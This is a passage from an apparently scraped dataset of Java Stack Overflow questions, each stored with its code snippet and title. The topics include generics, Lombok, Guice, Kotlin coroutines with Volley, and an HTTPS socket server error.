instance , a TListIterator can always be avoided by converting the TList into a Java LinkedList from Frege .",public class TListIterator implements Iterator < Object > { DCons elem ; public TListIterator ( TList list ) { this.elem = list._Cons ( ) ; } @ Override public boolean hasNext ( ) { return this.elem ! = null ; } @ Override public Object next ( ) { final Object head = Delayed. < Object > forced ( this.elem.mem1 ) ; this.elem = this.elem.mem2. < TList > forced ( ) ._Cons ( ) ; return head ; } @ Override public void remove ( ) { throw new RuntimeException ( `` Remove is not implemented '' ) ; } },Use Frege List from Java code +Java,"I have code which essentially looks like this : I want to at JAR-assembly ( sbt assembly ) time , invoke val classifier = new FoodTrainer ( s3Dir ) .train ( ) and publish the JAR which has the classifier instance instantly available to downstream library users.What is the easiest way to do this ? What are some established paradigms for this ? I know its a fairly common idiom in ML projects to publish trained models e.g . http : //nlp.stanford.edu/software/stanford-corenlp-models-current.jarHow do I do this using sbt assembly where I do not have to check in a large model class or data file into my version control ?",class FoodTrainer ( images : S3Path ) { // data is > 100GB file living in S3 def train ( ) : FoodClassifier // Very expensive - takes ~5 hours ! } class FoodClassifier { // Light-weight API class def isHotDog ( input : Image ) : Boolean },SBT : How to package an instance of a class as a JAR ? +Java,"I 'm running Windows and I 'm trying to refer to a directory . My function starts off like this : I got a NullPointerException within the doStuffWith function , when I tried to call listFiles . Well I looked in C : \somedir and what did I find - there is a file called `` report '' with no extension , and also a directory called `` report '' ! What seemed to happen was that the file object was referring to the report file rather than the directory . How do I make sure that I am referring to the directory and not the file ?",File file = new File ( `` C : \\somedir\\report '' ) ; if ( ! file.exists ( ) ) { file.mkdirs ( ) ; } doStuffWith ( file ) ;,How do I refer to a directory in Java ? +Java,"At my work , we have surveys , and one survey involves multiple steps . I work in automation , so I design tests around the page-objects we create for these surveys . We call this particular survey a `` flow '' survey because it has multiple steps . So you can skip step1 ( survey A ) , then complete or skip step 2 ( survey B ) , then complete or skip step 3 ( survey C ) . Naively , we could write a test that just has methods that look like this : You would use it like thisHowever , that could be a problem because we might call completeSurveyB ( ) before we call completeSurveyA ( ) , call completeSurveyA twice , etc . and the test would break . To avoid this , I introduced a different approach where calling a method on surveyA would return a surveyB object , which would return a surveyC object.You would use it like thisThe pattern reminds me of a state machine because only certain methods are available to you in different states , but I 'm wondering if there is a more specific name for this pattern .",public void completeSurveyA ( ) { // ... } public void skipSurveyB ( ) { // ... } public void completeSurveyB ( ) { // ... } public void skipSurveyC ( ) { // ... } public void completeSurveyC ( ) { // ... } completeSurveyA ( ) ; skipSurveyB ( ) ; completeSurveyC ( ) ; public class SurveyFlow ( ) { public SurveyB completeSurveyA ( ) { // ... return new SurveyB ( ) ; } private class SurveyB ( ) { public SurveyC skipSurveyB ( ) { // ... return new SurveyC ( ) ; } public SurveyC completeSurveyB ( ) { // ... return new SurveyC ( ) ; } private class SurveyC ( ) { public void skipSurveyC ( ) { // ... } public void completeSurveyC ( ) { // ... } } } } new SurveyFlow ( ) .completeSurveyA ( ) .skipSurveryB ( ) .completeSurveyC ( ) ;,What is this the name of this Java state-based design pattern ? +Java,"In JCIP book , Listing 5.19 Final Implementation of Memorizer . My questions are : The endless while loop is here because of atomic putIfAbsent ( ) ? should the while loop just inside impl of putIfAbsent ( ) instead of client code ? should the while loop be in smaller scope just wrapping putIfAbsent ( ) ? while loop looks bad on readabilityCode :","public class Memorizer < A , V > implements Computable < A , V > { private final ConcurrentMap < A , Future < V > > cache = new ConcurrentHashMap < A , Future < V > > ( ) ; private final Computable < A , V > c ; public Memorizer ( Computable < A , V > c ) { this.c = c ; } public V compute ( final A arg ) throws InterruptedException { while ( true ) { // < ==== WHY ? Future < V > f = cache.get ( arg ) ; if ( f == null ) { Callable < V > eval = new Callable < V > ( ) { public V call ( ) throws InterruptedException { return c.compute ( arg ) ; } } ; FutureTask < V > ft = new FutureTask < V > ( eval ) ; f = cache.putIfAbsent ( arg , ft ) ; if ( f == null ) { f = ft ; ft.run ( ) ; } } try { return f.get ( ) ; } catch ( CancellationException e ) { cache.remove ( arg , f ) ; } catch ( ExecutionException e ) { throw launderThrowable ( e.getCause ( ) ) ; } } } }",java concurrency in practice 5.19 +Java,"I 've been staring at this for hours and unable to think of a solution ; I usually handle validation of this type with regex but am trying to use a built-in solution for a change ( obviously , I do n't do this frequently ) : The error with this is that the `` return '' is n't found by the compiler so I get a compile error . If I put the `` return '' outside of the try/catch I need to declare/initialize `` input2 '' which defeats the purpose of the operation . Any assistance is appreciated ...","private static double promptUserDecimal ( ) { Scanner scan = new Scanner ( System.in ) ; System.out.println ( `` Enter a decimal '' ) ; try { double input2 = Double.parseDouble ( scan.nextLine ( ) ) ; return input2 ; } catch ( NumberFormatException e ) { System.out.println ( `` Sorry , you provided an invalid option , please try again . `` ) ; } }",Java try/catch - either `` return is n't found '' or `` variable is n't initialized '' ? +Java,"In PHP the ternary operator has a short version.changes intoThe short version returns the result of expr1 on true and expr3 on false.This allows cool code that can populate variables based on their own current state . For example : If $ employee == null or evaluates to false for any other reason , the code above will create a new Employee ( ) ; Otherwise the value in $ employee will be reassigned to itself.I was looking for something similar in Java , but I could not find any similar use case of the ternary operator . So I am asking if is there such a functionality or something similar that can avoid one of the expressions of the ternary operator in order to reduce duplication .",expr1 ? expr2 : expr3 ; expr1 ? : expr3 ; $ employee = $ employee ? : new Employee ( ) ;,Is there a PHP like short version of the ternary operator in Java ? +Java,"I have an application where the user enters data in edittext and presses the save button.By pressing 'save ' I save in a file the user data ( in one column ) and the current date ( in the other column ) .Then , I press another button and make the plot ( using achartengine ) date ( x axis ) data ( y axis ) .So , entering data during a day , results in saving for example : `` 1 '' ( user data ) - > 20/4/2013 , `` 2 '' - > 20/4/2013 , `` 3 '' - > 20/4/2013.And in plot I have 3 points in y axis ( ok ) and 3 points in x axis ( not ok ) .I want to have one point in x axis because the data where entered in the same day.I save data : How can I save the user data during a day ? Maybe some check here : Date d=new Date ( ) ; ? To check if it is the same day.Or here : bw.write ( mydata.get ( i ) + '' , '' +dates_Strings.get ( i ) + '' \n '' ) ; But I ca n't figure.For example I enter data `` 1 '' , `` 2 '' , '' 3 '' in date `` 20/4/2013 '' .This is what I get now using my code : But i require graph like below : data entered on same day should be put together : : -- -- -- -- -- -- -- -UPDATE -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --","public void savefunc ( ) { SimpleDateFormat thedate = new SimpleDateFormat ( `` dd/MM/yyyy '' ) ; Date d=new Date ( ) ; String formattedDate=thedate.format ( d ) ; Log.d ( `` tag '' , '' format '' +formattedDate ) ; dates_Strings.add ( formattedDate ) ; double thedata=Double.parseDouble ( value.getText ( ) .toString ( ) .trim ( ) ) ; mydata.add ( thedata ) ; File sdCard = Environment.getExternalStorageDirectory ( ) ; File directory = new File ( sdCard , `` MyFiles '' ) ; directory.mkdirs ( ) ; File file = new File ( directory , filename ) ; FileOutputStream fos ; //saving them try { fos = new FileOutputStream ( file ) ; BufferedWriter bw = new BufferedWriter ( new OutputStreamWriter ( fos ) ) ; for ( int i=0 ; i < mydata.size ( ) ; i++ ) { bw.write ( mydata.get ( i ) + '' , '' +dates_Strings.get ( i ) + '' \n '' ) ; } ... mRenderer.setXLabels ( 0 ) ; for ( int i=0 ; i < mydata.size ( ) ; i++ ) { mRenderer.addXTextLabel ( i , dates_Strings.get ( i ) ) ; Date lastDate=null ; String lastdate= '' '' ; try { // the initial dateDate initialDate=formatter.parse ( dates_Strings.get ( mydata.size ( ) -1 ) ) ; Calendar c = Calendar.getInstance ( ) ; c.setTime ( initialDate ) ; c.add ( Calendar.DATE , 1 ) ; // increase date by one lastDate =c.getTime ( ) ; } catch ... } mRenderer.setXAxisMax ( lastDate.getTime ( ) ) ; mRenderer.addXTextLabel ( i , dates_Strings.get ( i ) ) ; }",save user data during a day ( the same day - > many user data ) +Java,The below code is causing a compilation error ( Image ( ) is already defined in class ) on the line with @ NoArgsConstructor when building with Maven.What is causing this problem and how can I fix it ? EDIT : Lombok version is 1.16.22 .,"import lombok.Data ; import lombok.NoArgsConstructor ; // tag : :code [ ] @ Data @ NoArgsConstructorpublic class Image { private int id ; private String name ; public Image ( int id , String name ) { this.id = id ; this.name = name ; } }",Image ( ) is already defined in class during Maven build using Lombok +Java,"I am fully aware that generic arrays can not be instantiated like such : This will result in an error : So , why am I allowed to declare an instance variable that is a generic type array with no errors ?","data = new Entry < K , V > [ ] ; Can not create a generic array of Entry < K , V > private Entry < K , V > [ ] data ;",Why am I allowed to declare a generic array as an instance variable ? +Java,I wrote the following code in Java which runs fine : But when I write the following code : I get the following error : I am looking for an explanation for this as I could not understand why is the second code giving me this error .,public class test { public static void main ( String [ ] args ) { final String s1 = `` s1 '' ; final String s2 = `` s2 '' ; String s = `` s1 '' ; switch ( s ) { case s1 : System.out.println ( `` s1 '' ) ; break ; case s2 : System.out.println ( `` s2 '' ) ; break ; } } } public class test { public static void main ( String [ ] args ) { final String s1 = `` s1 '' .toString ( ) ; final String s2 = `` s2 '' .toString ( ) ; String s = `` s1 '' ; switch ( s ) { case s1 : System.out.println ( `` s1 '' ) ; break ; case s2 : System.out.println ( `` s2 '' ) ; break ; } } } test.java:8 : error : constant string expression required case s1 : System.out.println ( `` s1 '' ) ; ^test.java:10 : error : constant string expression required case s2 : System.out.println ( `` s2 '' ) ;,Why in Java 'final String ' initialized as String.toString ( ) is not considered as constant +Java,"Inspired by another question.In fastutil library there 's IntArrayList class which has a method with the following Java signature : From Kotlin it is seen asIs there a specific reason why it is Int and not platform type Int ! ? I expected it to be push ( o : Int ! ) at least because a method with the same signature defined in Java source within the project with Kotlin sources has Int ! as parameter type seen from Kotlin ( even defined in different module , and even imported from jar of that module ! ) .Also , the described behavior causes push ( Integer o ) to conflict with push ( int o ) ( in the same class ) which has Int parameter legally -- they are both seen as push ( o : Int ) . If there was Int ! for Integer , there would be no conflict ( I tried also to define this pair of methods in my code -- still works as I expect , there 's Int ! ) .Kotlin version is 1.0.2.Gradle dependency for fastutil :","public void push ( Integer o ) push ( o : Int ) compile group : 'it.unimi.dsi ' , name : 'fastutil ' , version : ' 7.0.12 '",Why is Integer parameter of Java method mapped to Int and not platform type ? +Java,"For the purposes of making a copy of an object and getting access to its data , what is better and why ? 1 . Create a new object and initialize it with the data you want to clone through the constructor2 . Clone object as is and cast it to the type you believe it to be",HashSet < String > myClone = new HashSet < String > ( data ) ; HashSet < String > myClone = ( HashSet < String > ) data.clone ( ) ;,Cloning objects +Java,"I can not understand why to use Context module ( which we will see in the following codes ) in strategy design pattern , what its function ? Let 's see one part of the strategy design pattern.From the codes above , we may call different algorithms by this way : which I can not understand completely , why could not call the child class directly but to use the Context layer . In my opinion , simply like this :","public interface Strategy { public int doOperation ( int num1 , int num2 ) ; } public class OperationAdd implements Strategy { @ Override public int doOperation ( int num1 , int num2 ) { return num1 + num2 ; } } public class OperationSubstract implements Strategy { @ Override public int doOperation ( int num1 , int num2 ) { return num1 - num2 ; } } public class Context { private Strategy strategy ; public Context ( Strategy strategy ) { this.strategy = strategy ; } public int executeStrategy ( int num1 , int num2 ) { return strategy.doOperation ( num1 , num2 ) ; } } Context context = new Context ( new OperationAdd ( ) ) ; context.executeStrategy ( 10,5 ) ; Strategy addStrategy = new OperationAdd ( ) ; addStrategy.doOperation ( 10 , 5 ) ;",Confused about strategy design pattern +Java,"The line new Scanner ( in ) gives the warning : It goes away if I remove useDelimiter ( String ) .useDelimiter ( String ) does not return a new instance ( it returns this ) , so why am I getting this warning ? Is it a bug ? I am using Eclipse 4.4 . My question is not relevant to this , where a warning occurs due to a different situation",try ( InputStream in = url.openStream ( ) ; Scanner scanner = new Scanner ( in ) .useDelimiter ( `` \\A '' ) ) { } catch ( IOException e ) { e.printStackTrace ( ) ; } Resource leak : < unassigned Closeable > value ' is never closed,`` Resource never closed '' in try-with-resources when method chaining +Java,"My code is : When I use myOutWriter.append , what really happens is that every time I 'm writing to the file , it overwrites previous content .","if ( myfile.exists ( ) ) { try { FileOutputStream fOut = new FileOutputStream ( myfile ) ; OutputStreamWriter myOutWriter = new OutputStreamWriter ( fOut ) ; for ( LatLng item : markerArrayList ) { myOutWriter.append ( item.toString ( ) ) ; } myOutWriter.append ( `` \n\n '' ) ; myOutWriter.close ( ) ; fOut.close ( ) ; Toast.makeText ( getBaseContext ( ) , `` Done writing `` , Toast.LENGTH_SHORT ) .show ( ) ; } catch ( Exception e ) { Toast.makeText ( getBaseContext ( ) , e.getMessage ( ) , Toast.LENGTH_SHORT ) .show ( ) ; } }",Can not append text to File +Java,"I 've been reading up on reduce and have just found out that there is a 3 argument version that can essentially perform a map reduce like this : However I ca n't see the advantage of this over a mapToInt with a reduce.Both produce the correct answer of 12 , and both appear to work fine in parallel.Is one better than the other , and if so , why ?","String [ ] strarr = { `` abc '' , `` defg '' , `` vwxyz '' } ; System.out.println ( Arrays.stream ( strarr ) .reduce ( 0 , ( l , s ) - > l + s.length ( ) , ( s1 , s2 ) - > s1 + s2 ) ) ; System.out.println ( Arrays.stream ( strarr ) .mapToInt ( s - > s.length ( ) ) .reduce ( 0 , ( s1 , s2 ) - > s1 + s2 ) ) ;",Java mapToInt vs Reduce with map +Java,"I 'm trying to serialize an entity with have a bidirectional relationship : With Jackson I solve with @ JsonBackReference in typeB attribute and @ JsonManagedReference in typeA attribute , but how i can do this on JSONB ( Eclipse Yasson implementation ) ? OBS : I solved with a DTO but the doubt stayed .",class TypeA { String name ; TypeB typeB ; } class TypeB { String identifier ; TypeA typeA ; } Caused by : javax.json.bind.JsonbException : Recursive reference has been found in class class xxxxxx.model.Analysis . at org.eclipse.yasson.internal.serializer.ObjectSerializer.serializeInternal ( ObjectSerializer.java:76 ) at org.eclipse.yasson.internal.serializer.AbstractContainerSerializer.serialize ( AbstractContainerSerializer.java:107 ) at org.eclipse.yasson.internal.serializer.AbstractContainerSerializer.serializerCaptor ( AbstractContainerSerializer.java:125 ) at org.eclipse.yasson.internal.serializer.ObjectSerializer.marshallProperty ( ObjectSerializer.java:121 ) at org.eclipse.yasson.internal.serializer.ObjectSerializer.serializeInternal ( ObjectSerializer.java:69 ) ... 45 more,How solve bidirectional relationships on JSONB serialization ? +Java,"I 'm trying to read data with an OData Service out of an S/4HANA Cloud 1805 system using the VDM as described in https : //blogs.sap.com/2017/05/21/step-4-with-sap-s4hana-cloud-sdk-calling-an-odata-service/ . The Destination uses Basic Authentication . Sample call : This worked at least until the S/4HANA Cloud SDK release 1.9.4 . Since updating to 2.0.0 , the destination ca n't be used anymore due to the following exception : The exception occurs immediately when the HTTP servlet is called , even if the Destination is n't used yet . There seems to be a problem with the ErpConfigContext . Since 2.0.0 , the Destination has to be configured with an ErpConfigContext instead of an ErpEndpoint . I have read the migration guide ( https : //blogs.sap.com/2018/06/05/migration-guide-moving-to-version-2.0.0-of-the-sap-s4hana-cloud-sdk/ ) regarding the ErpConfigContext and RequestContext Handling , but the solution is n't applicable in my application since i never had to use a RequestContextListener and it worked nevertheless.Additionally , using the ErpConfigContext worked with the same coding when using 1.9.4 , so the problem seems to be the update to 2.x.x . Updating to 2.1.0 also did n't solve the problem.I 've ran into this problem with several OData Services.Is there any solution for this problem other than waiting for new SDK updates ?",final ErpConfigContext context = new ErpConfigContext ( `` ... '' ) ; return new DefaultQualityInspectionDataService ( ) .getAllInspectionLot ( ) .select ( ... ) .execute ( context ) ; 2018 06 18 12:43:55 # +00 # ERROR # org.apache.catalina.core.ContainerBase. [ Catalina ] . [ localhost ] . [ /app-application ] . [ com.sap.cloud ... Servlet ] # # anonymous # https-jsse-nio-8041-exec-3 # na # a078260ed # app # web # a078260ed # na # na # na # na # Allocate exception for servlet [ com.sap.cloud ... Servlet ] com.sap.cloud.sdk.cloudplatform.connectivity.exception.DestinationAccessException : Failed to get ConnectivityConfiguration : no RequestContext available . Have you correctly configured a RequestContextFactory or have you wrapped your logic in a RequestContextExecutor when executing background tasks that are not triggered by a request ? at com.sap.cloud.sdk.cloudplatform.connectivity.ScpNeoDestinationFacade.getConnectivityConfiguration ( ScpNeoDestinationFacade.java:60 ) at com.sap.cloud.sdk.cloudplatform.connectivity.ScpNeoDestinationFacade.getDestinationConfiguration ( ScpNeoDestinationFacade.java:108 ) at com.sap.cloud.sdk.cloudplatform.connectivity.ScpNeoDestinationFacade.getGenericDestination ( ScpNeoDestinationFacade.java:183 ) at com.sap.cloud.sdk.cloudplatform.connectivity.DestinationAccessor.getGenericDestination ( DestinationAccessor.java:136 ) at com.sap.cloud.sdk.s4hana.connectivity.ErpConfigContext. < init > ( ErpConfigContext.java:218 ) at com.sap.cloud.sdk.s4hana.connectivity.ErpConfigContext. < init > ( ErpConfigContext.java:367 ) at com.sap.cloud.sdk.s4hana.connectivity.ErpConfigContext. < init > ( ErpConfigContext.java:442 ) at com.sap.cloud ... Servlet. < init > ( ... Servlet.java:31 ) ... at java.lang.Thread.run ( Thread.java:808 ),DestinationAccessException while executing OData Query with S/4HANA Cloud SDK > = 2.0.0 +Java,"I am creating a simulation program , and I want the code to be very optimized . Right now I have an array that gets cycled through a lot and in the various for loops I useI was wondering if it would be faster if I saved a variable in the class to specify this array length , and used that instead . Or if it matters at all .",for ( int i = 0 ; i < array.length ; i++ ) { //do stuff with the array },Is there a difference in performance for calling .length on an array versus saving a size variable ? +Java,Is my class threadsafe ? If not why ?,class Foo { boolean b = false ; void doSomething ( ) throws Exception { while ( b ) Thread.sleep ( ) ; } void setB ( boolean b ) { this.b = b ; } },Is my class threadsafe ? If not why ? +Java,"In my application , I am connecting to an SSL server and in order to make it possible for API 's less than 21 I need to install ProviderInstaller . Below is a preview of my code : This works well on device with API 16 , but it doesnt work on emulators with API 16 . And when I try to access the getMessage ( ) error it crashes the whole application . Why does n't the ProviderInstaller.installIfNeeded ( this ) work on emulators , and also why does the application crashes when accessing the e.getMessage ( ) function ?","if ( Build.VERSION.SDK_INT < 21 ) { try { ProviderInstaller.installIfNeeded ( this ) ; } catch ( Exception e ) { //Crashes the app when accessing the getMessage Log.i ( `` error '' , e.getMessage ( ) ) ; } }",ProviderInstaller does n't work on emulators and caught error is not being read +Java,"So I have got 2 generic interfaces.First interface is implemented like this.I need the second interface 's ( second interface is shown below ) generic type to allow only the classes that are used when implementing the first interface , in our case String and Double . Is there any clean way to do this , something like , so the in Second 's generic E would fit only String and Double and all classes that are used to implement First < E > ?","public interface First < E > { void method ( E e ) } public class FirstImpl implements First < String > { void method ( String s ) { System.out.println ( s ) ; } } public class FirstImpl2 implements First < Double > { void method ( Double d ) { System.out.println ( d ) ; } } public interface Second < E , ? extends First < E > > { void method ( E e ) ; } public class SecondImpl < E > implements Second < E , ? extends First < E > > { void method ( E e ) { System.out.println ( e ) ; } }",Restrict generic types in java based on implementation of generic interface +Java,"I am creating http json client . I am using Volley in combination with coroutines . I wanted to create generic http client so I can use it everywhere.I have created generic extension method to parse JSON string into object . } Problem is that when I call this method I do n't get expected result . First call gives proper result . Object is initialized . But second call , where I use generic parameter which is passed to method , ends with exception `` LinkedTreeMap can not be cast into Token '' .Call of generic method.This is how httpresponse data class looks.I saw a workaround here using Type : :class.java but I do n't like this approach and I would like to use reified and inline keywords.How does the reified keyword in Kotlin work ? UPDATEThis is exception which I am getting . java.lang.ClassCastException : com.google.gson.internal.LinkedTreeMap can not be cast to com.xbionicsphere.x_card.entities.TokenPOSSIBLE WORKAROUNDI found possible workaround . If I create method which will parse Token into from response and use this method in executeRequestAsync everything starts working but I do n't like this solution since I have to add additional parameter for each request.New loginAsyncNew executeRequestAsyncUPDATEI probably have found working solution . executeRequestAsync needs final type definition provided through generic parameters so I enhanced declaration of method . Now method declaration looks like this : Thanks this complicated function declaration I can execute request with this call :","inline fun < reified T > String.jsonToObject ( exclusionStrategy : ExclusionStrategy ? = null ) : T { val builder = GsonBuilder ( ) if ( exclusionStrategy ! = null ) { builder.setExclusionStrategies ( exclusionStrategy ) } return builder.create ( ) .fromJson ( this , object : TypeToken < T > ( ) { } .type ) protected inline fun < reified T > sendRequestAsync ( endpoint : String , data : Any ? , method : Int , token : Token ? ) : Deferred < T > { return ioScope.async { suspendCoroutine < T > { continuation - > val jsonObjectRequest = HttpClient.createJsonObjectRequest ( endpoint , data ? .toJsonString ( ) , method , Response.Listener { //this call is successful and object is initialized val parsedObject : HttpResponse < Token > = it.toString ( ) .jsonToObject ( ) //this call is not successful and object is not initialized properly val brokenObject : HttpResponse < T > = it.toString ( ) .jsonToObject ( ) continuation.resume ( brokenObject.response ) } , Response.ErrorListener { continuation.resumeWithException ( parseException ( it ) ) } , token ) HttpClient.getInstance ( context ) .addToRequestQueue ( jsonObjectRequest ) } } } fun loginAsync ( loginData : LoginData ) : Deferred < Token > { return sendRequestAsync ( `` /tokens/ '' , loginData , Request.Method.POST , null ) } data class HttpResponse < T > ( val response : T ) fun loginAsync ( loginData : LoginData ) : Deferred < Token > { val convertToResponse : ( JSONObject ) - > HttpResponse < Token > = { it.toString ( ) .jsonToObject ( ) } return executeRequestAsync ( `` /tokens/ '' , loginData , Request.Method.POST , null , convertToResponse ) } protected inline fun < reified T > executeRequestAsync ( endpoint : String , data : Any ? , method : Int , token : Token ? , crossinline responseProvider : ( JSONObject ) - > HttpResponse < T > ) : Deferred < T > { return ioScope.async { suspendCoroutine < T > { continuation - > val jsonObjectRequest = HttpClient.createJsonObjectRequest ( endpoint , data ? .toJsonString ( ) , method , Response.Listener { val response : HttpResponse < T > = responseProvider ( it ) continuation.resume ( response.response ) } , Response.ErrorListener { continuation.resumeWithException ( parseException ( it ) ) } , token ) HttpClient.getInstance ( context ) .addToRequestQueue ( jsonObjectRequest ) } } } protected inline fun < reified HttpResponseOfType , Type > executeRequestAsync ( endpoint : String , data : Any ? , method : Int , token : Token ? ) : Deferred < Type > where HttpResponseOfType : HttpResponse < Type > { val scopedContext = context return ioScope.async { suspendCoroutine < Type > { continuation - > val jsonObjectRequest = HttpClient.createJsonObjectRequest ( endpoint , data ? .toJsonString ( ) , method , Response.Listener { val response : HttpResponseOfType = it.toString ( ) .jsonToObject ( ) continuation.resume ( response.response ) } , Response.ErrorListener { continuation.resumeWithException ( parseException ( it ) ) } , token ) HttpClient.getInstance ( scopedContext ) .addToRequestQueue ( jsonObjectRequest ) } } } fun loginAsync ( loginData : LoginData ) : Deferred < Token > { return executeRequestAsync ( `` /tokens/ '' , loginData , Request.Method.POST , null ) }",Reified generic parameter inside coroutine is not working +Java,"Here is the code : I can tell that the code is basically being used to schedule an operation using an object of the Timer class . The parameters passed to the schedule method , according to eclipse , are ( TimerTask task , long delay , long period ) . But looking at this code , an entire block of code is being passed as the first parameter instead of a reference to the TimerTask class . I 've never seen such a method before . What exactly is happening here ? Some background : The schedule method of the Timer object is being used to update a feed on Xively ( previously COSM ( previously pachube ) ) periodically.Also I do n't know which tag describes what is happening here.If you do please add it or drop in a comment .","timer.schedule ( new TimerTask ( ) { public void run ( ) { synchronized ( this ) { try { // System.out.println ( `` ITERATION = `` ) ; pachubeCLI.update ( 78164 ) ; } catch ( PachubeException e ) { // If an exception occurs it will print the error message from the // failed HTTP command System.err.println ( e.errorMessage ) ; } catch ( IOException e ) { System.err.println ( e ) ; } } } } , 0 , 5*1000 ) ;",What exactly is happening in this Java code snippet ? +Java,"I 've created a web server based on sockets . It can serve files via HTTPS or HTTP.The issue I 'm experiencing occurs when requesting a file , such as an image , from the server via HTTPS using Firefox and Chromium.When Firefox requests the image from the server at https : //localhost:8443/ada.jpg , Firefox reports SSL_ERROR_RX_RECORD_TOO_LONGSimilarly , Chromium errors with ERR_SSL_PROTOCOL_ERRORThe following works fine though : cURL getting the image via HTTPS : curl -Ok `` https : //localhost:8443/ada.jpg '' Getting a text response via HTTPS using cURL , Firefox , and Chromium : https : //localhost:8443/Getting a smaller image ( 6773 bytes ) like this one via HTTPS using cURL , Firefox , and ChromiumGetting the image via HTTP ( no TLS ) using cURL , Firefox , and Chromium : http : //localhost:8443/ada.jpgI 've used Wireshark to look at the frames while the browsers are getting the image : Both Firefox and Chromium send a [ FIN , ACK ] frame to the server while the image is still being transmitted . The server continues sending parts of the image after which the browsers send a [ RST ] frame.These are the last couple of frames from the exchange between Firefox and the server : Here are the Wireshark captures of cURL and Firefox.For reproducing the error , doThis starts the server with TLS enabled . Then , open the following URL in your browser ( the first time you 'll have to add an exception for the self-signed certificate ) : To convince yourself that transferring the image succeeds when TLS is disabled , start the server like this : After removing the s from the protocol , the image should show up in your browser : The server 's request-handling loop is here.How can I debug this further and fix it ? I 'm on Arch Linux 5.2.9 using OpenJDK 12.0.2+10 .","25 1.873102771 : :1 : :1 TCP 86 55444 → 8443 [ ACK ] Seq=937 Ack=18043 Win=56704 Len=0 TSval=3976879013 TSecr=397687901326 1.873237965 : :1 : :1 TLSv1.3 110 Application Data27 1.873247272 : :1 : :1 TCP 86 8443 → 55444 [ ACK ] Seq=18043 Ack=961 Win=65536 Len=0 TSval=3976879013 TSecr=397687901328 1.873346910 : :1 : :1 TCP 86 55444 → 8443 [ FIN , ACK ] Seq=961 Ack=18043 Win=65536 Len=0 TSval=3976879013 TSecr=397687901329 1.876736432 : :1 : :1 TLSv1.3 16508 Application Data30 1.876769660 : :1 : :1 TCP 74 55444 → 8443 [ RST ] Seq=962 Win=0 Len=0 git clone git @ gitlab.com : bullbytes/simple_socket_based_server.gitcd simple_socket_based_server./gradlew run https : //localhost:8443/ada.jpg ./gradlew run -- args= '' -- use-tls=no '' http : //localhost:8443/ada.jpg",SSL_ERROR_RX_RECORD_TOO_LONG with custom server +Java,This code gives a runtime error : why is b.get ( ) not triggering a runtime error ? why does an runtime error occur only when I try to get the class of the class variable ? To be more precise : why is the compiler inserting a checkcast instruction into the bytecode only for the second get ( ) ( leading to the exception ) ?,public class Box < T > { private T t ; public Box ( T t ) { this.t = t ; } public void add ( T t ) { this.t = t ; } public T get ( ) { return t ; } public static void main ( String [ ] args ) { Box < Integer > b = new Box ( new String ( `` may be '' ) ) ; System.out.println ( b.get ( ) ) ; // successfully print out `` may be '' System.out.println ( b.get ( ) .getClass ( ) ) ; // error } } exception in thread `` main '' java.lang.ClassCastException : java.lang.String can not be cast to java.lang.Integer,Java raw type value assigned to generic type run time getClss ( ) method error +Java,I have a Set < String > of `` hostname : port '' pairs and from that I 'd like to create a Set < InetSocketAddress > . I tried it like : But this produces the following error in IntelliJ : Incompatible types . Required Set < InetSocketAddress > but 'map ' was inferred to Stream < R > : no instance ( s ) of type variable ( s ) R exist so that Stream < R > conforms to Set < InetSocketAddress > Something must be wrong with how I 'm using the map and the lambda .,"Set < InetSocketAddress > ISAAddresses = StrAddresses .stream ( ) .map ( addr - > new InetSocketAddress ( addr.split ( `` : '' ) [ 0 ] , Integer.parseInt ( addr.split ( `` : '' ) [ 1 ] ) ) ) ;",Process elements of Set < Foo > and create Set < Bar > using streams +Java,"I do understand that double brace initialization has its own hidden cost , still is there a possible way to initialize Map < String , Map < String , String > > ( ) .What i tried : I know it is a bad practice but as for experiment i am trying it.Reference and Motivation : Arrays.asList also for maps ?","Map < String , Map < String , String > > defaultSourceCode = new HashMap < String , Map < String , String > > ( ) { { `` a '' , new HashMap < String , String > ( ) { { `` c '' , '' d '' } } } } ;",How to use double brace initialization for Map of Map +Java,"I am a newcomer into Java . Today I saw a piece of code in `` Thinking in Java '' , but I can not figure out why it produce compile time error.Code : Compile complained :","public class OverloadingVarargs2 { static void f ( float i , Character ... args ) { System.out.println ( `` first '' ) ; } static void f ( Character ... args ) { System.out.println ( `` second '' ) ; } public static void main ( String [ ] args ) { f ( 1 , ' a ' ) ; f ( ' a ' , ' b ' ) ; } } Exception in thread `` main '' java.lang.Error : Unresolved compilation problem : The method f ( float , Character [ ] ) is ambiguous for the type OverloadingVarargs2",Method ambiguous when overloading with variable argument +Java,"I have an interface A , which class B implements.The following generic method worksbutdoes not ( compilation error , type mismatch ) , when I am directing the output intodefaultCollectionFactory ( int count ) statically provides a collection of Bs , with a default labeling scheme.Any insights as to why that is ? It seems like the generic U and wildcard are doing the same thing .","public static < T , U extends T > List < T > listFactory ( Collection < U > source ) { return new ArrayList < T > ( source ) ; } public static < T > List < T > listFactory ( Collection < ? extends T > source ) { return new ArrayList < T > ( source ) ; } List < A > tester = listFactory ( B.defaultCollectionFactory ( 3 ) ) ;",Java Generics Curiosity +Java,"I would like to instanciate several versions of the same kind of dependency tree/chain which use different implementations for some of the interfaces in that tree/chain . What is the best Guice practice/pattern to use in such case ? Here is a concrete example of my problem.I have a Writer interface which can potentially be a file writer or a std-out writer , which will be situated at the leaf of my dependency hierarchy . Something like this : Another logger interface is used to add a layer of indirection on the writer . For instance : Then there is a client that uses the logger.Now , I would like to use two types of hierarchies in my program : Client - > LoggerImpl - > FileWriterClient - > LoggerImpl - > StdOutWriterIs there a nice way of wiring this up without using a separate Guice module for 1 and 2 ? Ideally I would like to have a ClientFactory class like this : Could anyone come up with a way to wire up this using this factory , or by any other means ? I would also like a solution that would scale to cases where I have a bigger variety of longer dependency trees/chains . Thanks !",interface Writer { ... } class FileWriter implements Writer { ... } class StdOutWriter implements Writer { ... } interface Logger { ... } class LoggerImpl { @ Inject public Logger ( Writer out ) { ... } public void log ( String message ) { out.println ( message ) ; } } class Client { @ Inject public Client ( Logger logger ) { ... } public void do ( ) { logger.log ( `` my message '' ) ; } } interface ClientFactory { public Client stdOutClient ( ) ; public Client fileClient ( ) ; //or fileClient ( File outputFile ) for extra points ; ) },What is the best pattern for managing multiple versions of the same dependency tree in Guice ? +Java,"DescriptionThe input is List < Item > sorted by score , Item looks like : Now I need to select 10 elements which have the highest scores from the array , under these limitations : They should have different poiThey should have different authorThere are at most 3 items from the same category . And the length of any subsequence from the same category should not be longer than 2.If there is no subsequence which satisfies above rules , just return the first 10 elements.What I have triedNow , I directly iterate over the List , and 